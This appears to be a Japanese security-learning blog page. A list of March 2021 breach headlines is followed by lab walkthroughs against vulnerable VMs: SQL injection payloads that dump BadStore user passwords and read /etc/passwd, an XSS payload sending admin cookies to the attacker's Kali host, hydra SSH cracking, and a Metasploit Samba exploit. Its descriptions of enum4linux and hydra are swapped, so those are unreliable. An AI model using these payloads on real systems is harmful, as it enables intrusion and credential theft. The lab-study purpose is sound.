2021/03/05 ランサムウェア「Ryuk」にワーム化した新亜種
2021/03/04 ランサムウェア被害、昨年23件 警察庁「手口巧妙に」
2021/03/04 サーバがランサム感染、情報流出の可能性 - ランドブレイン
2021/03/05 業務委託先が「身代金ウイルス」に感染…約350世帯分 ”個人情報流出” 北海道旭川市
2021/03/05 SITA、サイバー攻撃で個人情報漏洩 一部のJALマイレージ会員情報も
2021/03/04 楽天カードかたる詐欺メールに注意 偽のログイン画面に誘導しクレカ情報を窃取
2021/03/05 1万8000個以上のスマートフォンアプリに個人情報漏えいなどの脆弱性が発覚、クラウドサービス ...
2021/03/05 ゴミ分別案内のチャットボット改ざん、不正サイトへ誘導 - 横浜市
2021/03/06 「シェルスクリプト」「SQL」をセキュリティ担当者が学ぶ意味と学習方法
2021/03/06 持続化給付金 不正受給 JRAが調査結果公表 165人が受給
2021/03/06 旭川と岸和田の住民情報流出か コンサルのサーバー感染
2021/03/06 ANAとJAL計192万件の情報流出 「被害の恐れはない」
2021/03/07 中ロ、EU機関にサイバー攻撃か
2021/03/07 ネット不正送金が小口化 手口、電子マネーなどシフトか
2021/03/08 多要素認証が効かない「Pass-the-cookie攻撃」の仕組み
2021/03/08 ラック、自社研究所が発刊する「CYBER GRID JOURNAL Vol.11」を公開 ~コロナ禍で顕在化する ...
2021/03/08 SMBC信託銀と日興証券で不正アクセス
2021/03/09 改ざんサイトを大量に悪用するマルウェアDridexに要注意
2021/03/09 dカードプリペイドを不正発行させた疑い 組織的犯行か
2021/03/09 SolarWindsハッキング、中国の脅威グループが「SUPERNOVA」マルウェア展開に関与か
2021/03/10 ハッカー集団が15万台の監視カメラに不正アクセス-テスラも被害
2021/03/10 CrowdStrike、2021年版「グローバル脅威レポート」を発表 サイバー犯罪(eCrime)と国家主導型 ...
2021/03/10 楽天モバイルの「Rakuten Link」で個人情報漏洩、総務省が指導
2021/03/10 アーバンリサーチ/ECに不正アクセス、31万分の会員情報流出
2021/03/10 委託先でランサム被害、影響は調査中 - 岸和田市
2021/03/11 クレジットカード・セキュリティガイドライン[2.0 版]」公表(クレジット取引セキュリティ ...
2021/03/09 キヤノンMJ、「2020年 年間のマルウェアレポート」を公開~暴露型ランサムウェアの攻撃事例と ...
2021/03/11 ブラウザの「通知」機能を悪用した偽のウイルス感染通知に注意|IPA
2021/03/11 委託先でランサムウェア感染、情報流出の可能性 - 千葉県芝山町
2021/03/12 「BIG-IP」に深刻なRCE脆弱性 - 早急に更新を
2021/03/12 「LGWAN」移行前の旧メールアカウントに不正アクセス - 葛飾区
2021/03/12 電子決済セキュリティリスク評価サービス」開始(NRIセキュア)
2021/03/15 政府調達の「安全な」クラウドサービス、リストを公開
2021/03/15 煎餅など扱う通販サイトに不正アクセス - クレカ情報流出の可能性
2021/03/16 3DCG制作ツール「Blender」の公式サイトが改竄される~「WordPress」が標的に
2021/03/16 ネット証券の口座 現金引き出す際 複数認証導入へ 不正防止で
2021/03/16 サイバーセキュリティに関するグローバル動向四半期レポート(2020年10月~12月)を公開
2021/03/16 1年間不使用のメールアカウントに不正アクセス - 人道支援団体
2021/03/16 フィッシング被害者などで不正取引が発生 - レイクALSA
2021/03/17 「PARTNER」への第三者による不正アクセスについて | 2020年度 | お知らせ | ニュース - JICA
2021/03/17 ハッキングして娘をミスコン女王に…ハイテクママ逮捕される
2021/03/17 ラック、「ゼロトラスト時代のSOC構築と運用ガイドライン」を公開 ~日本マイクロソフトと ...
2021/03/17 LINEの個人情報管理に不備 中国の委託先がアクセス可能な状態
2021/03/17 本社香港法人に不正アクセス 1644件の情報流出か
2021/03/18 監査業務に携わる方、約100名に聞きました!監査対象書類、「電子化希望の声」約9割
2021/03/18 問合フォームが悪用被害、スパム送信の踏み台に - 日本事務器
2021/03/16 海洋機構で不正アクセス 個人情報盗まれる
2021/03/18 地下銀行で特殊詐欺被害金を中国へ不正送金 容疑で35歳中国人女を逮捕 大阪府警
2021/03/19 中途退職者などの内部不正による情報漏洩が増加傾向 - IPAが報告
2021/03/18 コロナ禍でクラウドや電子契約の利用増が明確に--JIPDECとITRが調査
2021/03/20 大分県内でフィッシング相談3割増 偽サイトに誘導、個人情報入力させる
2021/03/19 4社に3社が直近1年にインシデントを経験 - JIPDEC調査
2021/03/21 サイバー犯罪 対応力強化 県警採用に情報工学枠
2021/03/22 CISA、侵害検知ツールをリリース--SolarWindsハッキング事件受け
2021/03/22 「フィッシング」急増、前年比4倍 昨年22万件、コロナ影響か―対策協議会
2021/03/22 兵庫県の業務委託企業が不正アクセスでウイルスに感染
2021/03/23 高知弁護士会のホームページが閲覧不可に 不正アクセス複数回
2021/03/23 犯罪グループが起こした事件とダークウェブ悪用の実態
2021/03/24 松井証券口座から不正送金か SCSKエンジニアを逮捕
2021/03/24 REvilランサムウェア集団、Acerに5千万ドル相当のモネロを要求
2021/03/24 酒店オンラインショップに不正アクセス - クレカ情報流出の可能性
2021/03/24 家具通販サイトでクレカ情報約1.9万件が流出か - 9割超は決済不成立のクレカ情報
2021/03/24 葛飾区で約2万7000人の個人情報流出か 委託先サーバーにウイルス
2021/03/25 木更津市の公式アプリに不正アクセス /千葉
2021/03/24 PoC公開後にF5 BIG-IP狙う攻撃が増加、直ちにアップデートを
2021/03/26 三菱電、情報流出新たに判明=取引先151口座
2021/03/27 ゲレンデの位置情報アプリ「yukiyama」不正アクセスでユーザーの全画像ファイル・滑走ログが消失
2021/03/29 三井住友信託銀行、まもなく国内初のデジタル証券発行か=日経
2021/03/29 東急のグループ会社で約5000件の個人情報が流出 元従業員が不正に持ち出し
2021/03/30 不正アクセスで個人情報約6.5万件が流出か - 日清製粉関連会社
2021/03/31 名古屋大メールシステムに不正なアクセス 333人分の学生情報流出の可能性

 

 

Badstoreの検証

概要

この記事では以前に構築したBadstoreを検証していきます。

 

 

 

1.Badstoreの調査 

実行結果

youtu.be

 

実行したコマンド

nmap -n 192.168.1.0/24

curl 192.168.1.208

nikto -host http://192.168.1.208

dirb http://192.168.1.208

 

Niktoの実行結果には以下のようなものがありました。

 

+ The anti-clickjacking X-Frame-Options header is not present.
クリックジャッキングはiframeを利用し、表面に見えているWebサイトのコンテンツをクリックさせるが、実際は別のWebサイトのコンテンツをクリックさせる攻撃です。
X-frame-optionsでは、iframe等の中にページの表示を許可するかどうか設定できます。

 

+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
X-XSS-ProtectionはブラウザのXSSフィルタを設定するために使用されます。

 

また、dirbはWebコンテンツのスキャナです。Webサイトの隠しオブジェクトをスキャンすることができます。上記動画の最後でcatコマンドで表示していますが、Webサイトに対して辞書ベースの攻撃を行い、隠れているオブジェクトを見つけるものです。

 

2.SQLインジェクションの検証

Badstoreに含まれるSQLインジェクションの脆弱性を検証します。

 

SQL関連の情報収集

nmapによる調査でMySQLのバージョンが4.1.7とわかります。

nmap -vvv -p 3306 -A 192.168.1.208

 

SQLインジェクションの攻撃では、データベースの内容を取得するために、テーブル名やカラム名を収集する必要があり、「information_schema」から情報を収集することが行われます。

イメージ

SELECT * FROM INFORMATION_SCHEMA.TABLES

ただし、MySQLでは、information_schemaは5.0.2以降に追加されたものであるため、このBadStoreではinformation_schemaからテーブル名の一覧の取得ができないようです。

 

そのため、違う方法で情報を収集する必要があります。

 

Badstoreのサイト上での検証

Badstoreのサイトにある検索ボックスを使って情報を収集します。 

Badstoreの検索窓に「'」を入力するとSQLのエラーが表示されます。これは、入力した「'」がSQL文の組み立てに使用されているということを意味しており、Badstoreでは、プリペアードステートメント等の対策が行われていないことがうかがえます。

 

次に「1’=’1’ UNION SELECT VERSION()」と入力してみます。

上記を入力すると、以下のようなエラーが表示されます。

 

SELECT itemnum, sdesc, ldesc, price FROM itemdb WHERE '1’=’1’ UNION SELECT VERSION()' IN (itemnum,sdesc,ldesc)

 

上記のメッセージからitemdbというテーブルが存在することがわかります。この名前の付け方から推測するに、XXXdbというテーブルが他にも存在するのではないかという推測します。

 

Badstoreにはユーザ登録ができる画面があるため、「userdb」というテーブルが存在するのではないかと推測します。

確かめるために、以下を検索ボックスに入力します。

 

1'='0' UNION SELECT 1,1,1,1 from userdb#

 

上記を入力すると以下のようなエラー画面が表示されます。

f:id:iestudy:20210318213838p:plain

「userdb」の存在確認

「userdb」が存在する場合は上記のような結果が返ってきます。

なお、SQLインジェクションはUNIONで選択したテーブルの内容を本来の検索結果のテーブルに結合する必要があるため、SELECT以降の「1」は、結合先のテーブルのカラム数に合わせて入力します。

 

次に「userdb」に含まれるカラムの名前に関する情報を集めます。

今回は、Badstoreのソースから手掛かりを得ました。

「Login / Register」の画面でソースを表示し「INPUT TYPE」を検索します。

検索すると以下のようなパラメータがあることがわかります。

  • email
  • fullname
  • passwd
  • pwdhint

これらのカラムが含まれるかどうかは、先ほどの入力の「1」の部分をパラメータに置き換えて実行することで確認できます。

 

「email」の例

1'='1' UNION SELECT email,1,1,1 from userdb#

 

最終的には上記の4つのカラムが存在することがわかります。

これらの情報を踏まえ、検索ボックスに以下の入力をすると登録されているユーザ情報を見ることができます。

 

1'='1' UNION SELECT email,1,passwd,pwdhint from userdb#

※検索ボックスの入力文字数の制限(?)のため、「fullname」は「1」にしています。

 

また、以下のような入力をすることでBadstore上のファイルを閲覧することもできます。

 

1'='0'UNION SELECT 1,1,1,LOAD_FILE('/etc/passwd')#

 

補足:SQLのコメントについて

MySQLのコメントは「#」「-- 」の2形式が使用可能です。
「-- 」は2つ目のハイフンの後に半角スペースが必要になります。

MySQL :: MySQL 4.1 リファレンスマニュアル :: 6.1.6 コメント構文

MySQL :: MySQL 5.6 リファレンスマニュアル :: 9.6 コメントの構文

 

実行結果

youtu.be

 

3.XSSの検証

Badstoreに含まれるXSSの脆弱性を検証します。

今回はGuestBook(掲示板)に攻撃コードを書き込み、書き込みを閲覧したユーザ(admin)のCookie情報を取得し、それを使ってadminとしてBadstoreにアクセスします。

 

GuestBookに書き込んだ攻撃コード

<script>location.href='http://192.168.1.210/?cookie=' + document.cookie;</script> 

※192.168.1.210はKali LinuxのIPアドレス

※動画内では、GuestBookの閲覧の仕方がわからなかったため、以下のURLを表示することでXSSを動作させています。

http://192.168.1.208/cgi-bin/badstore.cgi?action=doguestbook 

 

実行結果

youtu.be

 

参考にさせていただいたサイト

貴重な情報をありがとうございます。

 

1.Badstoreの調査

ja.osdn.net

www.rem-system.com

2.SQLインジェクションの検証

jpcertcc.github.io

armerj.github.io

3.XSSの検証

www.tohoho-web.com

[BurpSuiteJapan]Burp Suite実践編

 

 

 

metasploitable3構築

概要

この記事ではmetasploitable3を構築します。
以前、metasploitable2をHyper-V上に構築しましたが、 今回は別環境で、VagrantとVirtualboxを使って構築します。
metasploitable3からはWindows Server2008の環境が追加されており、Windowsの検証環境として使うことができます。

 

 

 

環境構築

環境構築は以下のサイトを参考に実施しました。

github.com

 

1.必要なソフトのインストール

上記サイトの「Requirements:」に記載されている「Vagrant」及び「VirtualBox」をそれぞれサイトからダウンロードして、インストールしました。

 

補足:Vagrantとは

Vagrantとは、VirtualboxやVMware等の仮想化ソフトをCUIで操作するソフトです。
Vagrant Cloudに用意されている「box」というVMのベースになるイメージを指定してコマンドを実行するだけでVMを作成できます。
また、VMの構成をVagrantfileというテキストファイルに記述でき、Git等のソースコードリポジトリで管理することができます。

 

補足:VirtualBoxのエラー

VirtualBoxのインストール時(試験用に仮想マシンを立ち上げ時)、仮想マシンがうまく起動してきませんでした。
仮想マシンのインポートに成功するも、実行しても途中から黒い画面のまま、動かないということが発生しました。
原因はWindows Sandboxの機能を有効化していることでした。機能無効化後、仮想マシンが正常に動作しました。

 

2.metasploitable3インストール

PowerShellを起動し、以下のコマンドを実行します。

Invoke-WebRequest -Uri "https://raw.githubusercontent.com/rapid7/metasploitable3/master/Vagrantfile" -OutFile "Vagrantfile"

vagrant up

コマンドを実行するとVirtualBox上に仮想マシンが2台(LinuxとWindows)が作成されます。

f:id:iestudy:20210315110930p:plain

作成された仮想マシン

時間は結構かかりました。(私の環境では1時間ほど)

また、以下のようなエラーが表示され、仮想マシンの作成が失敗しました。

 

Progress state: E_INVALIDARG
VBoxManage.exe: error: Appliance import failed
VBoxManage.exe: error: Code E_INVALIDARG (0x80070057) - One or more arguments are invalid (extended info not available)
VBoxManage.exe: error: Context: "enum RTEXITCODE __cdecl handleImportAppliance(struct HandlerArg *)" at line 1118 of file VBoxManageAppliance.cpp

 

上記の原因はHDDの容量が不足していることでした。

システムの要件としては以下の通りなので、仮想マシンの作成に失敗した場合は、以下も参照してみていただければと思います。

 

System Requirements:
OS capable of running all of the required applications listed below
VT-x/AMD-V Supported Processor recommended
65 GB Available space on drive
4.5 GB RAM

 

仮想マシンが作成した後はVirtualBoxから仮想マシンを起動して使うことができます。
私は仮想マシン作成後、ブリッジアダプターに変換して検証を行いました。

参考にさせていただいたサイト

techblog.securesky-tech.com

https://www.sei-yo.jp/blog/engineer/2019/10/vagrant-up.html

qiita.com

 

 

SSHに対するパスワードクラック攻撃

概要

以前構築したstaplerの環境に対して、enum4linuxとhydraを使ったパスワードクラックを行います。

 

補足1:enum4linuxとは

ギリシャ神話に登場する9つの首を持つ怪物から名前を取ったと思われるオンラインパスワードクラッカー。

対応プロトコルはTELNET, FTP, HTTP, SMB, MS-SQL, MYSQL, POSTGRES ,VNC, POP3, IMAP,SSH2, SNMP,Cisco 等 多岐に渡る。

scan.netsecurity.ne.jp

 

補足2:hydraとは

Windowsのファイル共有やSambaから情報を取得し列挙(enumerate)するツール。

officialstrotect.net

 

 

 

 

実行結果

youtu.be

 

実行したコマンド

enum4linux 192.168.1.209
cat user.txt | cut -d "\\" -f 2 | cut -d " " -f 1 > userlist.txt
※user.txtはvi等で作成します。

hydra -L ./username.txt -P ./username.txt 192.168.1.209 ssh

※hydraのオプション(-L、-P)は、大文字だとファイル指定で小文字だと文字列指定になります。

 

 

 

Staplerを攻撃する(Sambaの脆弱性)

概要

以前構築したStaplerの環境に攻撃を行ってみました。

 

 

 

実行結果

youtu.be

 

Kali Linux側での実行コマンド

Staplerの情報収集

nmap -n 192.168.1.0/24
nmap -sS -Pn -sV -p- 192.168.1.209
nmap -vvv -A -p 139 192.168.1.209

 
metasploitでの実行コマンド

search pipename
use exploit/linux/samba/is_known_pipename
show options
set rhosts 192.168.1.209
set rport 139
show payloads
set payload cmd/unix/interact
set SMB::AlwaysEncrypt false
set SMB::ProtocolVersion 1

また、動画には含まれていませんが、当該脆弱性の攻撃が成立する条件は以下のものがあります。

  1. Valid credentials
  2. Writeable folder in an accessible share
  3. Server-side path of the writeable folder

github.com

 

上記の条件を満たしているかについて、以下のコマンドで任意のファイルがアップロード可能か試すことで確認することができます。

smbclient -L 192.168.1.209
smbclient //192.168.1.209/tmp
※SMB接続後、任意のファイルをアップします
 put test.txt

 

参考にさせていただいたサイト

www.whitehat.de

www.tiger1997.jp